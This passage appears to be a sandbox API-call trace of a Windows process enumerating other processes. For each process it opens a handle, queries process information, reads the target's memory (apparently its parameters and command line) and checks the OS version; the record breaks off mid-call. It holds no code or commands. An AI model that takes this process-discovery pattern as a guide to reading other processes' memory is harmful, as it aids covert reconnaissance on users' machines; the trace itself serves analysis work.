[0351.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.593] malloc (_Size=0x5c) returned 0xeb62a0 [0351.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb62a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.594] free (_Block=0xeb62a0) [0351.594] CloseHandle (hObject=0xa9c) returned 1 [0351.594] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0351.595] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0351.595] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.595] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0351.596] GetLastError () returned 0x0 [0351.596] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.597] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.597] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.597] malloc (_Size=0x70) returned 0xea9620 [0351.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea9620, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0351.598] free (_Block=0xea9620) [0351.598] CloseHandle (hObject=0xa9c) returned 1 [0351.598] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0351.599] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0351.599] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.599] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0351.600] GetLastError () returned 0x0 [0351.600] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.600] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.601] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.601] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.602] malloc (_Size=0x6a) returned 0xea9020 [0351.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9020, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0351.602] free (_Block=0xea9020) [0351.603] CloseHandle (hObject=0xa9c) returned 1 [0351.603] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0351.603] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0351.603] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.603] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.604] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0351.604] GetLastError () returned 0x0 [0351.604] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.604] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.605] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.605] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.605] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.605] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.605] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.606] malloc (_Size=0x5e) returned 0xeb6380 [0351.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb6380, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.606] free (_Block=0xeb6380) [0351.607] CloseHandle (hObject=0xa9c) returned 1 [0351.607] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0351.607] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0351.607] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.608] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.608] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0351.609] GetLastError () returned 0x0 [0351.609] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.610] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.610] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.610] malloc (_Size=0x74) returned 0xea8f20 [0351.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea8f20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0351.611] free (_Block=0xea8f20) [0351.611] CloseHandle (hObject=0xa9c) returned 1 [0351.611] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0351.611] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0351.612] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.612] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.613] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0351.613] GetLastError () returned 0x0 [0351.613] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.614] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.614] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.614] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.615] malloc (_Size=0x6c) returned 0xea8f20 [0351.615] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea8f20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0351.615] free (_Block=0xea8f20) [0351.615] CloseHandle (hObject=0xa9c) returned 1 [0351.616] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0351.616] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0351.616] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.616] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.617] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0351.617] GetLastError () returned 0x0 [0351.617] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.618] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.618] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.618] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.619] malloc (_Size=0x64) returned 0xeb6150 [0351.619] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb6150, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0351.619] free (_Block=0xeb6150) [0351.619] CloseHandle (hObject=0xa9c) returned 1 [0351.620] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0351.620] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0351.620] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.620] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.621] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0351.621] GetLastError () returned 0x0 [0351.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.622] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.622] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.623] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.623] malloc (_Size=0x68) returned 0xeb6620 [0351.623] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb6620, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0351.623] free (_Block=0xeb6620) [0351.624] CloseHandle (hObject=0xa9c) returned 1 [0351.624] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0351.624] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0351.624] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.624] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.625] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0351.625] GetLastError () returned 0x0 [0351.625] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.626] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.626] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.626] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.626] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.627] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, 